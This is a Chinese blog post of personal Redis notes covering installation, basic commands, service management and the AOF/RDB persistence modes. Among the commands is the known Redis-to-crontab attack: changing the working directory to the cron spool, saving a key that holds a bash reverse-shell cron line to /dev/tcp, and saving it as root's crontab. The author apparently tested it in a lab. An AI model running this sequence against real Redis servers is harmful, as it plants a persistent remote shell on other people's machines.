当前位置: 首页 > news >正文

redis小记

redis小记

下载redis
sudo apt-get install redis-server

redis基本命令

ubuntu16下的redis没有protected-mode属性,就算sudo启动,也不能往/var/spool/cron/crontabs写计划任务,感觉很安全

#连接到redis
redis-cli -h 127.0.0.1 -p 6379 -a your_password
#退出redis命令行
quit
#删除数据库中的所有键
flushall#查看所有键值对
keys * 
#查看该键的值
get keyname #更改Redis的工作目录
config set dir /var/spool/cron/crontabs #这个目录后面save会报错
#设置键值对8:...
#注意计划任务上下要换行防止redis的一些乱码信息污染
SET 8 "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/5555 0>&1\n\n"#更改Redis数据库文件的名称
config set dbfilename root
#命令Redis保存当前数据库状态到磁盘
save
#改配置
vim /etc/redis/redis.conf
#一些操作
sudo systemctl disable redis-server #禁止redis自启动
ps -aux |grep redis
kill -9 进程号 
sudo systemctl stop redis-server 
sudo systemctl status redis-server 
sudo systemctl restart redis-server

redis持久化方式

AOF

AOF是一种日志持久化方式,它记录了服务器执行的所有写操作命令。这些命令会以追加的方式写入到AOF文件中,当Redis需要恢复数据时,只需执行AOF文件中的命令就可以恢复到原来的状态。

appendonly yes

RDB

RDB是一种快照持久化方式,它通过定期将Redis内存中的数据集保存到磁盘上的一个二进制文件中(通常命名为dump.rdb)。这个文件是一个紧凑的二进制文件,包含了某个时间点的完整数据快照。当Redis重新启动时,它可以加载这个RDB文件,恢复到上次保存的时间点。

rdbcompression yes

查看redis配置文件redis.conf

rdbcompression yesrdb持久化开启时,save会进行压缩存储导致一些乱码

在这里插入图片描述

关闭一下再save

config set rdbcompression no

在这里插入图片描述

http://www.lryc.cn/news/542619.html

相关文章:

  • 垂类大模型微调(一):认识LLaMA-Factory
  • 企业为什么要选择软件测试外包公司?湖南软件测试公司有哪些?
  • 数据保护API(DPAPI)深度剖析与安全实践
  • java23种设计模式-桥接模式
  • 3D Web轻量化引擎HOOPS Communicator如何赋能航空航天制造?
  • iOS手机App爬虫- (1) Mac安装Appium真机运行环境
  • android s下make otapackage编译失败
  • 《Elasticsearch实战:从零开始构建高效全文搜索引擎》
  • 【Linux网络】认识协议(TCP/UDP)、Mac/IP地址和端口号、网络字节序、socket套接字
  • 12、数据库、Sql单表多表
  • Spring Boot 实现图片上传并生成缩略图功能
  • 洛谷B3664[语言月赛202209] 零食售卖点
  • 贪心算法:JAVA从理论到实践的探索
  • 线程池10种常见坑
  • 鸿蒙ArkTs如何实现pdf预览功能?
  • KylinSP3 | 防火墙和麒麟安全增强设置KySec
  • 【C++】面试常问八股
  • vscode多文件编译构建(CMake)和调试C++
  • 使用Docker 部署 LNMP+Redis 环境
  • 文件上传漏洞学习笔记
  • 375_C++_cloud手机推送,添加人脸告警信息到任务队列中,UploadAlarmPush是典型的工厂模式应用,为什么使用工厂模式完成这部分代码
  • Spring Boot 中的日志管理
  • 火绒终端安全管理系统V2.0网络防御功能介绍
  • 海康摄像头 + M7s(Monibuca) + FFmpeg + Python实现多个网络摄像头视频流推流
  • 抖音视频如何下载保存去水印
  • 【鸿蒙开发】第三十九章 LazyForEach:数据懒加载
  • HTTP-
  • 创建型模式 - 原型模式 (Prototype Pattern)
  • Android 8.0 (API 26) 对广播机制做了哪些变化
  • Unity汽车笔记